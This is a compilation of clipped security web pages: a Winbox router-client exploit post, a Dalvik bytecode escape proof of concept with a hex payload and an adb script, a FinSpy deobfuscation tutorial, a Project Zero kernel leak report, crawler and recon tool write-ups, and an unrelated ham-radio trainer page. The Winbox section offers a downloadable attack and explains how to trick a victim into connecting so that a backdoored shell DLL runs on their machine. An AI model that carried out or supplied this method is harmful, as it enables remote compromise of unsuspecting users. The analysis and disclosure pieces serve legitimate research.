PoURaN
Leave a comment
Go to comments














Hello ppl,
In this post I wanna present you a vulnerability I found and exploited, concerning Winbox. Winbox is the client that controls mikrotik routers.. It is a popular router OS. For more info www.mikrotik.com 
Winbox has a custom protocol communicating with the mikrotik routers and you can select between secure/unsecure communication. Winbox uses a tcp port 8291 by default. Old routers had that port hardcoded, newer ones have the ability to change port. At the bottom of the post, you’ll find a link to download the script and the files needed. You’ll find info how/why in script comments or here...
About the exploit
The exploit you will see in this post, is a mikrotik winbox service emulator. It is a listener, that waits for a winbox client/victim to connect, sends him a malicious dll/plugin and winbox executes it. Using this feature (that we can inject dlls in winbox) we exploit also the fact that a secure connection can be decided by server-side.. So no matter what client has selected, we can sent unencrypted data in his winbox. So attacker have to social his victim or via a MiTM can gain a shell.
Download the exploit code: mtikInject
* Updated on 30/4/2012 Lines 99 & 148 as said in Post’s comments *
 
 Vulnerability Description
===========================
When you connect to mikrotik router using winbox, it is asking for an index with plugins (DLLs) their size, version and CRCs. If something new is found, or if that client haven’t connected to that mikrotik version yet, winbox requests the new plugin(s) (.dll file(s)) from mikrotik router. When winbox downloads all the DLLs required in order to load the controlling interface of the mikrotik router, loads those DLLs (executes the DllMain() of each one) and then tries to make an authentication to the remote mikrotik router. The vulnerability exploits that winbox is loading the remote dlls before authentication and without any further confirmation of plugins originality.
 The exploit
=============
This is a winbox vulnerability which exploits the way that winbox is working. That is the reason why it’s working on all winbox versions (even on today’s version) This exploit is based in leading (socialy) the victim to connect to this malicious
winbox listener, using his/her winbox client. More details in www.133tsec.com
 Usage
=======
details in www.133tsec.com
In order to use this exploit successfully you have to :
1. Have index.bin in the folder where .py script is running
2. Have all original DLLs of the spoofed index in the folder where .py script is running
3. Make a reverse/bind shell DLL, compress it with gzip and place it in script’s folder and
enter it’s filename when script will ask for it.
*** Your DLL’s filename must have 7 chars length (ex. ppp.dll) ***
*** The gziped version of the dll, must be between 10k-99k (must have 5 digits of size) ***
The above 2 restrictions caused to the fact that i don’t create the index dynamically from the script..
4. Social your victim to connect to the machine running the script, and gain the shell u r expecting
The default shell contained in ppp.dll.bind.gz is a bind shell for port 4444 produced by msf.
- You are sure that your victim is forced to download the backdoored gz/dll every time again and again cos script is sending every time a “random” CRC -
 
Some FAQ
==========
- Why these restrictions in the backdoor name and size?
> Those restrictions are cos of the index file that I use.. In the specific case, it is used the index of a mikrotik version 5.14 router, so the script act like a mikrotik 5.14 before the authentication. I did the easy way.. I just used the index as is, by changing only some bytes keeping the same size :p
- How can i make a gziped backdoor 10k – 99k size easy?
> Well you can do your own way.. The way I did it, is that i added in dll Visual Studio 2008 project, a dummy .jpg picture, after padding some of the image’s bytes with \x00′s so i can control the exact resulting size ;p . After that u gzip it with 7-zip in windows or gzip in linux
- How can i find the dlls that are downloaded from mikrotik via winbox?
> These files can be found in %APPDATA%\Mikrotik\Winbox\ and the version of the mikrotik router you are controlling.. Every folder has it’s dlls inside.. BUT you can’t use those dlls to pass them to the victim via the exploit script cos winbox expects some format (every 0×101 bytes expecting 0xFFFF bytes and 0x(SIZE)0xFF of the chars awaiting) and i didn’t do it dynamically.. i just used the dlls as they are transfered from the mikrotik router using another dll downloader script..
 
Exploit usage short video..
Attacker (left side) listens on 8291 and the victim (right side) using winbox, got pwned via bind shell on port 4444.
You can see it in HD in vimeo’s site pressing the HD button
All files and python script here... Download them:
mtikInject
* Updated on 30/4/2012 Lines 99 & 148 as said in Post’s comments *

﻿http://www.sophos.com/en-us/why-sophos/our-people/technical-papers/a-time-based-analysis-of-rich-text-format-manipulations.aspx 
A time-based analysis of Rich Text Format manipulations - Technical Papers - Why Sophos - Sophos
Created:
2/8/2012 1:31:56 PM
Updated:
2/8/2012 1:31:58 PM
Author:

Tags:
analysis vulnerability windows environment rtf


A time-based analysis of Rich Text Format manipulations: 
a deeper analysis of the RTF exploit CVE-2010-3333 

Malware authors are still looking for new ways to distribute an old RTF vulnerability (CVE-2010-3333). This SophosLabs technical paper 'A time-based analysis of Rich Text Format manipulations' will explore, over a long period of time, the way that the malware authors attempt to evade detection.
Download 'A time-based analysis of Rich Text Format manipulations'
Download now
 By Paul Baccas, Senior Threat Researcher, SophosLabs UK, 2011
 

﻿http://www.hackingarticles.in/5-ways-crawl-website/ 
5 Ways to Crawl a Website
Created:
7/17/2017 11:14:34 AM
Updated:
7/17/2017 11:14:34 AM
Author:

Tags:
searching




5 Ways to Crawl a Website
	 posted inHACKING TOOLS, PENETRATION TESTING on JULY 16, 2017 by RAJ CHANDEL E SHARE 	 	
From Wikipedia
A Web crawler, sometimes called a spider, is an Internet bot that systematically browses the World Wide Web, typically for the purpose of Web indexing .
A Web crawler starts with a list of URLs to visit, called the seeds. As the crawler visits these URLs, it identifies all the hyperlinks in the page and adds them to the list of URLs to visit.  If the crawler is performing archiving of websites it copies and saves the information as it goes. The archive is known as the repository and is designed to store and manage the collection of web pages. A repository is similar to any other system that stores data, like a modern day database.
Let’s Begin!!
Metasploit 
This auxiliary module is a modular web crawler, to be used in conjuntion with wmap (someday) or standalone.
use auxiliary/crawler/msfcrawler
msf auxiliary(msfcrawler) > set rhosts www.example.com
msf auxiliary(msfcrawler) > exploit
From, screenshot you can see it has loaded crawler in order to exact hidden file from any website, for example about.php, jquery contact form, html and etc which is not possible to exact manually from website using browser. For information gathering of any website we can use it.

HTTRACK
HTTrack is a free and open source Web crawler and offline browser, developed by Xavier Roche
It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site’s relative link-structure. 
Type following command inside the terminal
httrack http://tptl.in –O /root/Desktop/file
It will save the output inside given directory /root/Desktop/file

From given screenshot you can observe this, it has dumb the website information inside it which consist html file as well as JavaScript and jquery.

Black Widow
This Web spider utility detects and displays detailed information for a user-selected Web page, and it offers other Web page tools.
BlackWidow’s clean, logically tabbed interface is simple enough for intermediate users to follow but offers just enough under the hood to satisfy advanced users. Simply enter your URL of choice and press Go. BlackWidow uses multithreading to quickly download all files and test the links. The operation takes only a few minutes for small Web sites.
You can download it from here.
Enter your URL http://tptl.in in Address field and press Go.

Click on start button given on left side to begin URL scanning and select a folder  to save the output file.
From screenshot you can observe that I had browse C:\Users\RAJ\Desktop\tptl in order to store output file inside it.

When you will open target folder tptl you will get entire data of website either image or content, html file, php file and JavaScript all are saved in it.

Website Ripper Copier
Website Ripper Copier (WRC) is an all-purpose, high-speed website downloader software to save website data. WRC can download website files to local drive for offline browsing, extract website files of a certain size and type, like image, video, picture, movie and music, retrieve a large number of files as a download manager with resumption support, and mirror sites. WRC is also a site link validator, explorer, and tabbed anti pop-up Web / offline browser.
Website Ripper Copier is the only website downloader tool that can resume broken downloads from HTTP, HTTPS and FTP connections, access password-protected sites, support Web cookies, analyze scripts, update retrieved sites or files, and launch more than fifty retrieval threads
You can download it from here.
 Choose “web sites for offline browsing” option.

Enter the website URL as http://tptl.in and click on next.

Mention directory path to save the output result and click run now.

When you will open selected folder tp you will get fetched css,php,html and js file inside it.

Burp Suite Spider
Burp Spider is a tool for automatically crawling web applications. While it is generally preferable to map applications manually, you can use Burp Spider to partially automate this process for very large applications, or when you are short of time.
For more detail read our privious articles from here.
From given screenshot you can observe that I had fetched the http request of http:// tptl.in; now send to spider with help of action tab.

The targeted website has been added inside the site map under target tab as a new scope for web crawling.  From screenshot you can see it started web crawling of the target website where it has collected the website information in the form of php, html and js.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Related 

5 Ways to Directory Bruteforcing on Web Server
May 11, 2017
In "Kali Linux"

Exploitation of Metasploitable 3 using Glassfish Service
December 16, 2016
In "Kali Linux"

Wordpress Penetration Testing using Symposium Plugin SQL Injection
December 20, 2016
In "Database Hacking"

﻿Abusing Dalvik Beyond Recognition
Created:
10/23/2013 12:25:05 PM
Updated:
10/23/2013 12:31:47 PM
Author:
wishi
Tags:
android opcode dalvik





import os
import sys


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print 'Usage: python %s <message>'
        exit(1)

    s = sys.argv[1]
    for x in xrange(0, len(s), 100):
        os.system('adb shell input text ' + s[x:x+100])


012200040013001a002300120026002e0000107100100000000c2070000300010013001c002300120026003e0000107100100000000c107100020000000c206e0005000100130020002300120026004c0000107100100000000c206e00040001206e00210019000e03000002001a00000061006e00640072006f00690064002e0069006e00740065006e0074002e0061006300740069006f006e002e004d00410049004e03000002001c0000006a006200720065006d00650072002e006f00720067002e00630061006c0063006500780065002f002e00430061006c006300450078006503000002002000000061006e00640072006f00690064002e0069006e00740065006e0074002e00630061007400650067006f00720079002e004c00410055004e0043004800450052


As explained during the presentation, when running this application on your phone or emulator, you can type arbitrary Dalvik Bytecode and execute it by clicking on the “Run Dalvik” button. On the 30th slide of the presentation one can find two examples of valid Dalvik Bytecode, which, when ran, will return with a fancy number. Unfortunately the dalvik.py disassembler mentioned in the slides is currently not open source, but for some more documentation on the Dalvik Bytecode there’s always the Dalvik Bytecode reference.

Win32 Calc.exe Proof of Concept

If you want to run my win32 calc.exe Proof of Concept from the presentation you’ll have to do a couple of things:
· Install CalcExe.apk on the device
· Get the adb_type.py script, which “types” a string into the emulator
· Finally, type payload.txt to the DvmEscape application, with the following command.


$ python adb_type.py $(catpayload.txt)

Note that typing the bytecode in to the emulator (or phone?!) takes roughly a minute. (No, there appears to be no support for using the clipboard with the emulator.) After that, just click on the button and calc should pop





﻿http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation 
A Walk-Through Tutorial, with Code, on Statically Unpacking the FinSpy VM: Part One, x86 Deobfuscation
Created:
3/7/2018 8:42:05 AM
Updated:
3/7/2018 8:42:05 AM
Author:
wishi
Tags:
Malware-analysis federal




· The first half of the .text section is mostly colored grey and red, indicating data and non-function code respectively.
· The second half of the .text section is grey in the navigation bar, indicating data turned into arrays.
A normal binary would have a .text section that was mostly blue, indicating code within functions.
3. ANALYSIS OF WINMAIN: SUSPICIONS OF VM-BASED OBFUSCATION
IDA's auto-analysis feature identified that the binary was compiled by the Microsoft Visual C compiler. I began by identifying the WinMain function. Normally IDA would do this on my behalf, but the code at that location is obfuscated, so IDA did not name it or turn it into a function. I located WinMain by examining the ___tmainCRTStartup function from the Visual C Run-Time and finding where it called into user-written code. The first few instructions resembled a normal function prologue; from there, the obfuscation immediately began.
.text:00406154     mov     edi, edi                 ; Normal prologue
.text:00406156     push    ebp                      ; Normal prologue
.text:00406157     mov     ebp, esp                 ; Normal prologue
.text:00406159     sub     esp, 0C94h               ; Normal prologue
.text:0040615F     push    ebx                      ; Save registers #1
.text:00406160     push    esi                      ; Save registers #1
.text:00406161     push    edi                      ; Save registers #1
.text:00406162     push    edi                      ; Save registers #2
.text:00406163     push    edx                      ; Save registers #2
.text:00406164     mov     edx, offset byte_415E41  ; Obfuscation - #1
.text:00406169     and     edi, 0C946B9C3h          ; Obfuscation - #2
.text:0040616F     sub     edi, [edx+184h]          ; Obfuscation - #3
.text:00406175     imul    edi, esp, 721D31h        ; Obfuscation - #4
.text:0040617B     stc                              ; Obfuscation
.text:0040617C     sub     edi, [edx+0EEh]          ; Obfuscation - #5
.text:00406182     shl     edi, cl                  ; Obfuscation
.text:00406184     sub     edi, [edx+39h]           ; Obfuscation - #6
.text:0040618A     shl     edi, cl                  ; Obfuscation
.text:0040618C     imul    edi, ebp                 ; Obfuscation
.text:0040618F     mov     edi, edi                 ; Obfuscation
.text:00406191     stc                              ; Obfuscation
.text:00406192     sub     edi, 0A14686D0h          ; Obfuscation

; ... obfuscation continues ...

.text:004065A2     pop     edx                      ; Restore registers
.text:004065A3     pop     edi                      ; Restore registers
The obfuscation in the sequence above continues for several hundred instructions, nearly all of them consisting of random-looking modifications to the EDI register. I wanted to know A) whether the computations upon EDI were entirely immaterial junk instructions, or whether a real value was being produced by this sequence, and B) whether the memory references in the lines labeled #1, #3, #5, and #6 were meaningful.
As for the first question, note that the values of the registers upon entering this sequence are unknown. We are, after all, in WinMain(), which uses the __cdecl calling convention, meaning that the caller did not pass arguments in registers. Therefore, the value computed on line #2 is unpredictable and can potentially change across different executions. Also, the value computed on line #4 is pure gibberish -- the value of the stack pointer will change across runs (and the modification to EDI overwrites the values computed on lines #1-#3).
As for the second question, I skimmed the obfuscated listing and noticed that there were no writes to memory, only reads, all intertwined with gibberish instructions like the ones just described. Finally, the original value of edi is popped off the stack at the location near the end labeled "restore registers". So I was fairly confident that I was looking at a sequence of instructions meant to do nothing, producing no meaningful change to the state of the program.
Following that was a short sequence:
.text:004065A4     push    5A403Dh                  ; Obfuscation
.text:004065A9     push    ecx                      ; Obfuscation
.text:004065AA     sub     ecx, ecx                 ; Obfuscation
.text:004065AC     pop     ecx                      ; Obfuscation
.text:004065AD     jz      loc_401950               ; Transfer control elsewhere
.text:004065AD ; ---------------------------------------------------------------------------
.text:004065B3     db 5 dup(0CCh)
.text:004065B8 ; ---------------------------------------------------------------------------
.text:004065B8     mov     edi, edi
.text:004065BA     push    ebp
.text:004065BB     mov     ebp, esp
.text:004065BD     sub     esp, 18h

; ... followed by similar obfuscation to what we saw above ...
By inspection, this sequence just pushes the value 5A403Dh onto the stack, and transfers control to loc_401950. (The "sub ecx, ecx" instruction above sets the zero flag to 1, therefore the JZ instruction will always branch.) 
Next we see the directive "db 5 dup(0CCh)" followed by "mov edi, edi". Reverse engineers will recognize these sequences as the Microsoft Visual C compiler's implementation of hot-patching support. The details of hot-patching are less important than the observation that I expected that the original pre-obfuscated binary contained a function that began at the address of the first sequence, and ended before the "db 5 dup(0CCh)" sequence. I.e. I expect that the obfuscator disassembled all of the code within this function, replaced it with gibberish instructions, placed a branch at the end to some other location, and then did the same thing with the next function.
This is a good sign that we're dealing with a virtualization-based obfuscator: namely, it looks like the binary was compiled with an ordinary compiler, then passed to a component that overwrote the original instructions (rather than merely encrypting them in-place, as would normal packers). 
4. LEARNING MORE ABOUT THE VM ENTRYPOINT AND VM PRE-ENTRY
Recall again the second sequence of assembly code from the previous sequence:
.text:004065A4     push    5A403Dh                  ; Obfuscation - #1
.text:004065A9     push    ecx                      ; Obfuscation
.text:004065AA     sub     ecx, ecx                 ; Obfuscation
.text:004065AC     pop     ecx                      ; Obfuscation
.text:004065AD     jz      loc_401950               ; Transfer control elsewhere
Since -- by supposition -- all of the code from this function was replaced with gibberish, there wasn't much to meaningfully analyze. My only real option was to examine the code at the location loc_401950, the target of the JZ instruction on the last line. The first thing I noticed at this location, loc_401950, was that there were 125 incoming references, nearly all of them of the form "jz loc_401950", with some of the form "jmp loc_401950". Having analyzed a number of VM-based obfuscators in my day, this location fits the pattern of being the part of the VM known as the "entrypoint" -- the part where the virtual CPU begins to execute. Usually this location will save the registers and flags onto the stack, before performing any necessary setup, and finally beginning to execute VM instructions. VM entrypoints usually require a pointer or other identifier to the bytecode that will be executed by the VM; maybe that's the value from the instruction labeled #1 in the sequence above? Let's check another incoming reference to that location to verify:
.text:00408AB8     push    5A7440h ; #2
.text:00408ABD     push    eax
.text:00408ABE     sub     eax, eax
.text:00408AC0     pop     eax
.text:00408AC1     jz      loc_401950
The other location leading to the entrypoint is functionally identical, apart from pushing a different value onto the stack. This value is not a pointer; it does not correspond to an address within the executable's memory image. Nevertheless, we expect that this value is somehow responsible for telling the VM entrypoint where the bytecode is located.
5. ANALYZING THE VM ENTRYPOINT CODE
So far we have determined that loc_401950 is the VM entrypoint, targeted by 125 branching locations within the binary, which each push a different non-pointer DWORD before branching. Let's start analyzing that code:
.text:00401950                   loc_401950:
.text:00401950 0F 82 D1 02 00 00     jb      loc_401C27
.text:00401956 0F 83 CB 02 00 00     jnb     loc_401C27
Immediately we see an obvious and well-known form of obfuscation. The first line jumps to loc_401C27 if the "below" conditional is true, and the second line jumps to loc_401C27 if the "not below" conditional is true. I.e., execution will reach loc_401C27 if either "below" or "not below" is true in the current EFLAGS context. I.e., these two instructions will transfer control to loc_401C27 no matter what is in EFLAGS -- and in particular, we might as well replace these two instructions with "jmp loc_401C27", as the effect would be identical.
Continuing to analyze at loc_401C27, we see another instance of the same basic idea:
.text:00401C27                   loc_401C27:
.text:00401C27 77 CD                 ja      short loc_401BF6
.text:00401C29 76 CB                 jbe     short loc_401BF6
Here we have an unconditional branch to loc_401BF6, split across two instructions -- a "jump if above", and "jump if below or equals", where "above" and "below or equals" are logically opposite and mutually exclusive conditions.
After this, at location loc_401BF6, there is a legitimate-looking instruction (push eax), followed by another conditional jump pair to loc_401D5C. At that location, there is another legitimate-looking instruction (push ecx), followed by a conditional jump pair to loc_4019D2. At that location, there is another legitimate-looking instruction (push edx), followed by another conditional jump pair. It quickly became obvious that every legitimate instruction was interspersed between one or two conditional jump pairs -- there are hundreds or thousands of these pairs throughout the binary.
Though an extremely old and not particularly sophisticated form of obfuscation, it is nevertheless annoying and degrades the utility of one's disassembler. As I discussed in a previous entry on IDA processor module extensions, IDA does not automatically recognize that two opposite conditional branches to the same location are an unconditional branch to that location. As a result, IDA thinks that the address following the second conditional branch must necessarily contain code. Obfuscation authors exploit this by putting junk bytes after the second conditional branch, which then causes the disassembler to generate garbage instructions, which may overlap and occlude legitimate instructions following the branch due to the variable-length encoding scheme for X86. (Note that IDA is not to blame for this conundrum -- ultimately these problems are undecidable under ordinary Von Neumann-based models of program execution.) The result is that many of the legitimate instructions get lost in the dreck generated by this process, and that, in order to follow the code as usual in manual static analysis, one would spend a lot of time manually undefining the gibberish instructions and re-defining the legitimate ones.
6. DEOBFUSCATING THE CONDITIONAL BRANCH OBFUSCATION: THEORY AND PRACTICE
Manually undefining and redefining instructions as just described, however, would be a waste of time, so let's not do that. Speaking of IDA processor modules, once it became clear that this pattern repeated between every legitimate non-control-flow instruction, I got the idea to write an IDA processor module extension to remove the obfuscation automatically. IDA processor module extensions give us the ability to have a function of ours called every time the disassembler encounters an instruction. If we could recognize that the instruction we were disassembling was a conditional branch, and determine that the following instruction contains its opposite conditional branch to the same target as the first, we could replace the first one with an unconditional branch and NOP out the second branch instruction.
Thus, the first task is to come up with a way to recognize instances of this obfuscation. It seemed like the easiest way would be to do this with byte pattern-recognition. In my callback function that executes before an instruction is disassembled, I can inspect the raw bytes to determine whether I'm dealing with a conditional branch, and if so, what the condition is and the branch target. Then I can apply the same logic to determine whether the following instruction is a conditional branch and determine its condition and target. If the conditions are opposite and the branch targets are the same, we've found an instance of the obfuscation and can neutralize it.
In practice, this is even easier than it sounds! Recall the first example from above, reproduced here for ease of reading:
.text:00401950 0F 82 D1 02 00 00     jb      loc_401C27
.text:00401956 0F 83 CB 02 00 00     jnb     loc_401C27
Each of these two instructions is six bytes long. They both begin with the byte 0F (the x86 two-byte escape opcode stem), are then followed by a byte in the range of 80 to 8F, and are then followed by a DWORD encoding the displacement from the end of the instructions to the branch targets. As a fortuitous quirk of x86 instruction encodings, opposite conditional branches are encoded with adjacent bytes. I.e. 82 represents the long form of JB, and 83 represents the long form of JNB. Two long branches have opposite condition codes if and only if their second opcode byte differs from one another in the lowest bit (i.e. 0x82 ^ 0x83 == 0x01). And note also that the DWORDs following the second opcode byte differ by exactly 6 -- the length of a long conditional branch instruction.
That's all we need to know for the long conditional branches. There is also a short form for conditionals, shown in the second example above and reproduced here for ease of reading:
.text:00401C27 77 CD                 ja      short loc_401BF6
.text:00401C29 76 CB                 jbe     short loc_401BF6
Virtually identical comments apply to these sequences. The first bytes of both instructions are in the range of 0x70 to 0x7F, opposite conditions have differing lowest bits, and the second bytes differ from one another by exactly 2 -- the length of a short conditional branch instruction.
7. DEOBFUSCATING THE CONDITIONAL BRANCH OBFUSCATION: IMPLEMENTATION
I started by copying and pasting my code from the last time I did something like this. I first deleted all the code that was specific to the last protection I broke with an IDA processor module extension. Since I've switched to IDA 7.0 in the meantime, and since IDA 7.0 made breaking changes vis-a-vis prior APIs, I had to make a few modifications -- namely, renaming the custom analysis function from deobX86Hook::custom_ana(self) to deobX86Hook::ev_ana_insn(self, insn), and replacing every reference to idaapi.cmd.ea with insn.ea. Also, my previous example would only run if the binary's MD5 matched a particular sum, so I copied and pasted the sum of my sample out of IDA's database preamble over the previous MD5.
From there I had to change the logic in custom_ana. The result was even simpler than my last processor module extension. Here is the logic for recognizing and deobfuscating the short form of the conditional branch obfuscation:
b1 = idaapi.get_byte(insn.ea)
if b1 >= 0x70 and b1 <= 0x7F:
    d1 = idaapi.get_byte(insn.ea+1)
    b2 = idaapi.get_byte(insn.ea+2)
    d2 = idaapi.get_byte(insn.ea+3)
    if b2 == b1 ^ 0x01 and d1-2 == d2:
        # Replace first byte of first conditional with 0xEB, the opcode for "JMP rel8"
        idaapi.put_byte(insn.ea, 0xEB) 
        # Replace the following instruction with two 0x90 NOP instructions
        idaapi.put_word(insn.ea+2, 0x9090)
Deobfuscating the long form is nearly identical; see the code for details.
8. ADMIRING MY HANDIWORK, CLEANING UP THE DATABASE A BIT
Now I copied the processor module extension to %IDA%\plugins and re-loaded the sample. It had worked! The VM entrypoint had been replaced with:
.text:00401950 loc_401950:
.text:00401950     jmp     loc_401C27
Though the navigation bar was still largely red and ugly, I immediately noticed a large function in the middle of the text section:
﻿http://www.oliver-saal.de/software/afutrainer/ 
AFUTrainer
Created:
6/28/2012 8:23:04 AM
Updated:
6/28/2012 8:23:04 AM
Author:

Tags:
ham-radio



Startseite
Software
AFUTrainer
Aktuelles
Screenshots
Download
Mautrechner
Bibliothekssystem
Elektronik
AVR-μC
Ortungspiepser
Lauflicht
Ampelsteuerung
RS232-Info
EAGLE-Tools
Links
Gästebuch
Impressum
AFUTrainer
Programmbeschreibung

Das Programm AFUTrainer ist für Windows und Linux verfügbar (MacOS und Unix sind auch möglich) und unterstützt bei der Vorbereitung auf die Amateurfunk-Lizenz-Prüfung. Derzeit stehen folgende Fragenkataloge zur Verfügung: 
· Deutschland
· Technik Klasse A (gültig ab 03/2007)
· Technik Klasse E (gültig ab 02/2007)
· Betriebstechnik und Vorschriften (gültig ab 02/2007)
· Technik Klasse 1 und 2 (alter Fragenkatalog, Übergangslösung 01.03.2007 bis 31.05.2007)
· USA
· Element 02 - Technican 2006 (gültig 01.07.2006 bis 30.06.2010)
· Element 03 - General 2003 (gültig 01.07.2004 bis 30.06.2007)
· Element 03 - General 2007 (gültig 01.07.2007 bis 30.06.2011)
· Element 04 - Extra 2002 (gültig 01.07.2002 bis 30.06.2008)
 
Merkmale
· Lernmodus
Im Lernmodus kann ein bestimmtes Kapitel ausgewählt werden. Dessen Fragen werden in zufälliger Reihenfolge abgefragt. Selbstverständlich werden auch die Antworten durchmischt, so dass nicht mehr wie im gedruckten Fragenkatalog immer Antwort A die richtige ist.
· Prüfungssimulation
Um sich optimal auf die Prüfung vorzubereiten, kann man die komplette Amateurfunkprüfung zu Hause "durchspielen". 
· Statistiken
Es gibt Auswertemöglichkeiten für den Lernmodus und für die Prüfungen mit denen der Lernerfolg kontrolliert werden kann.
· Hilfesystem
Zu jeder Frage können Lösungstipps hinterlegt werden. Über ein Formular kann jeder Lösungstipps übermitteln, die dann in die nächste Version aufgenommen werden.
· Interaktiv
Sollte sich ein Fehler in eine Frage eingeschlichen haben, oder sollte die RegTP eine Frage geändert/entfernt haben, so lebt die Aktualität des Fragenkatalogs von der Mithilfe eines jeden/jeder. Fehler können schnell und einfach über einen Dialog gemeldet werden.
Kosten?
Das Programm kann kostenlos heruntergeladen werden. Es steht unter der GNU General Public License (GPL). 
Links
http://www.amateurfunkpruefung.de/
Online zur Amateurfunkprüfung - Seiten des DARC
http://www.dj4uf.de/
Homepage von Eckart Moltrecht DJ4UF, dem Autor der Buchreihe "Amateurfunklehrgang"
http://www.bippes.de/afup/
Umfangreiche Informationen und Online-Trainingsmöglichkeiten zu den Prüfungen der Klassen A und E. Eine Offline-Version steht ebenfalls zur Verfügung
http://www.michiv.de/afu/
Man kann online die Prüfungen für Klasse 1 und 2 üben. Eine Registrierung ist notwendig.
http://www.michaelstahl.de/
AFU-Test für Klasse 3
Haben Sie auf der Seite einen Fehler entdeckt? Ich würde mich freuen, wenn Sie ihn mir über das Formular mitteilen würden! Vielen Dank!
Letzte Änderung von  Oliver Saal am 18.01.2010. Beachten Sie auch die rechtlichen Hinweise. 
    
 
﻿https://bugs.chromium.org/p/project-zero/issues/detail?id=1238 
1238 - Windows Kernel nsiproxy/netio pool memory disclosure in the handling of IOCTL 0x120007 (NsiGetParameter) - project-zero - Monorail
Created:
7/17/2017 11:12:42 AM
Updated:
7/17/2017 11:12:42 AM
Author:

Tags:
windows security kernel




We have discovered that the handler of the 0x120007 IOCTL in nsiproxy.sys (\\.\Nsi device) discloses portions of uninitialized pool memory to user-mode clients, likely due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 ................
000000a0: 00 00 00 00 ff 00 ff ff 00 00 00 00 ff ff ff ff ................
000000b0: 00 00 00 00 00 00 00 00                         ........
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As can be seen, a total of 13 bytes (out of 184) scattered across the structure are disclosed to the client application. The bug manifests itself through a call to the undocumented NSI!NsiGetParameter userland function, in the same fashion that it is called in WSDApi!CWSDInterfaceTable::GetInterfaceProfiles:

--- cut ---
.text:6EA52AFF                 push    eax
.text:6EA52B00                 push    ebx
.text:6EA52B01                 lea     eax, [ebp+var_BC]
.text:6EA52B07                 push    eax
.text:6EA52B08                 push    0
.text:6EA52B0A                 push    8
.text:6EA52B0C                 lea     eax, [ebp+InterfaceLuid]
.text:6EA52B12                 push    eax
.text:6EA52B13                 push    7
.text:6EA52B15                 push    offset _NPI_MS_IPV4_MODULEID
.text:6EA52B1A                 push    1
.text:6EA52B1C                 call    _NsiGetParameter@36 ; NsiGetParameter(x,x,x,x,x,x,x,x,x)
--- cut ---

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for netio.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools (0x3d or '=' in this case), and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
Number of Adapters: 1

Adapter Index[0]: 11
00000000: 00 00 00 00 00 01 01 00 00 00 01 01 00[3d 3d 3d].............===
00000010: 00 00 00 00 02 00 00 00 00 00 00 00 0a 00 00 00 ................
00000020: 30 75 00 00 e8 03 00 00 c0 27 09 00 03 00 00 00 0u.......'......
00000030: 01 00 00 00 64 19 00 00 0b 00 00 00 0b 00 00 00 ....d...........
00000040: 0b 00 00 00 0b 00 00 00 01 00 00 00 01 00 00 00 ................
00000050: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................
00000060: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................
00000070: 00 00 00 00 01 00 00 00 dc 05 00 00 40 00 00 00 ............@...
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00[3d 3d 3d]08 07 00 00 .........===....
000000a0: 01 00 00 00[3d]00[3d 3d]00 00 00 00[3d 3d 3d 3d]....=.==....====
000000b0: 6b 0a 34 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? k.4.............
--- cut ---

At least one local network adapter must be installed on the tested machine to observe the bug. The PoC source code is based on the code sample from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx (in order to list network interfaces) and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp (in order to resolve and call NSI!NsiGetParameter).

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
 
 
NsippGetParameter.cpp 
3.6 KB View Download


﻿http://michenriksen.com/blog/aquatone-tool-for-domain-flyovers/ 
AQUATONE: A tool for domain flyovers | michenriksen.com
Created:
6/29/2017 3:47:25 PM
Updated:
6/29/2017 3:47:25 PM
Author:

Tags:





Home · Blog · Projects 
 Michael Henriksen 
AQUATONE: A tool for domain flyovers
June 17, 2017

The Lockheed U-2 reconnaissance aircraft was given the codename Aquatone.
Knowing the attack surface of something is critical for both defending and attacking it. When it comes to domain names, a very common approach for uncovering the attack surface is to discover its subdomains. Subdomains will increase the number of potential target sites as well as uncover IP ranges to probe further.
There are plenty of tools already for subdomain enumeration, e.g. Fierce, SubBrute and Gobuster however AQUATONE takes things a step further by not only doing classic brute force enumeration but also utilizing various open sources and internet services to dramatically increase the number of discovered subdomains. When subdomains have been discovered, AQUATONE can then be used to probe the hosts for common HTTP ports and gather response headers, HTML and screenshots to be compiled into a nice report for easy analysis.
To make the tool as flexible as possible, AQUATONE is divided into three separate commands, so if you're only interested in using it for subdomain discovery without any scanning or screenshotting, you can easily do that. Lets go over the three phases of an AQUATONE assessment:
Phase 1: Discovery
